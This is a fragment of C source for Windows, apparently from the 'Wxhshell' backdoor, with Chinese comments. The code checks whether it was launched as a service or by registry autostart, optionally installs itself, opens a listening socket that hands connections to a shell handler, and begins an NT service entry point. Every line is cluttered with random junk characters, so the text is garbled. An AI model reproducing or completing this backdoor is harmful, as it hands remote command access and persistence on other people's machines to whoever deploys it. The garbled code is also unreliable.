ULONG InheritedFromUniqueProcessId; xt^1,V4Ei~
} PROCESS_BASIC_INFORMATION; }Va((X w
6$urrSQ`N0
PROCNTQSIP NtQueryInformationProcess; nwFBuP<LR
X30tO>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }~
D
WB"
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wN[lC|1c
QX=TuyO
HANDLE hProcess; dn
6]qW5
PROCESS_BASIC_INFORMATION pbi; g *Js4
3``JrkPI
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5#.m'a)
if(NULL == hInst ) return 0; EO !,rB7I
t2dsYU/
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sX1DbEjj[o
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }4C_r'd6
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1-y8Hy_a2
<=.6Z*x+
if (!NtQueryInformationProcess) return 0; <2pp6je\0s
6Z_V,LD9L
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]Y[N=G
if(!hProcess) return 0; :nIMZRJ_!E
XDPR$u8hM
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <x}wy+SG
&>jz[3
CloseHandle(hProcess); Q!l(2nva
0AO^d[v
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /8l-@P.o
if(hProcess==NULL) return 0; ^Q8yb*MN
UR'[?
HMODULE hMod; `%Ih'(ne
char procName[255]; VIAq$iu7
unsigned long cbNeeded; ?|5M'o|9
PPXwmR
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P]Fb0X
rH7Cv/Y
CloseHandle(hProcess); DT]4C!dh
RL`E}:V
if(strstr(procName,"services")) return 1; // 以服务启动 U"GxXrl
KrGl}|
return 0; // 注册表启动 wpZ"B+oK!
} 1M`E.Ztw*
$Tbsre\MJ
// 主模块 5;)^o3X>
int StartWxhshell(LPSTR lpCmdLine) S`s]zdUTP
{ [Mu9"kF
SOCKET wsl; 'h$1
z$X5
BOOL val=TRUE; W8& )UtWQ
int port=0; 1V2]@VQF
struct sockaddr_in door; |=q~X}DA
w9|x{B
if(wscfg.ws_autoins) Install(); c+FTt(\8.
ai<qK3!O
port=atoi(lpCmdLine); HYdM1s6vo
$FPq8$V
if(port<=0) port=wscfg.ws_port; (.#nl}fA
Tt: (l/1
WSADATA data; 2;Z
0pPR&
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =;Q/bD->
$z$^
yjL
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _mm(W=KiL
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yY8zTWji_
door.sin_family = AF_INET; 'Ix@<$~i3F
door.sin_addr.s_addr = inet_addr("127.0.0.1"); #zsaQg,
B
door.sin_port = htons(port); j@4MV^F2c
_[[0rn$
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F3bTFFt
closesocket(wsl); 7hk<{gnr
return 1; fqI67E$59
} MFq?mZ,
daSe0:daJ
if(listen(wsl,2) == INVALID_SOCKET) { %Y~"Stmx
closesocket(wsl); wNmpUO ?
return 1; ]gBnzh.
} Z^'~iU-?
Wxhshell(wsl); T";evM66
WSACleanup(); `NtW+v
kP`#zwp'Ci
return 0; Zu"qTJE/1
,7wYa&
} xKu#OH
}# s{."
// 以NT服务方式启动 Rw'}>?k]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i|{psA
{ ZLzc\>QX
DWORD status = 0; r)gK5Mv
DWORD specificError = 0xfffffff; y,:WLk~
icb)JZ1K
serviceStatus.dwServiceType = SERVICE_WIN32; 4M&$wi
serviceStatus.dwCurrentState = SERVICE_START_PENDING; s)WA9PiC
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9n(68|^$
serviceStatus.dwWin32ExitCode = 0; v?."`,e
serviceStatus.dwServiceSpecificExitCode = 0; RG'iWA,9m`
serviceStatus.dwCheckPoint = 0; &5y
serviceStatus.dwWaitHint = 0; Pg}QRCB@
1o&z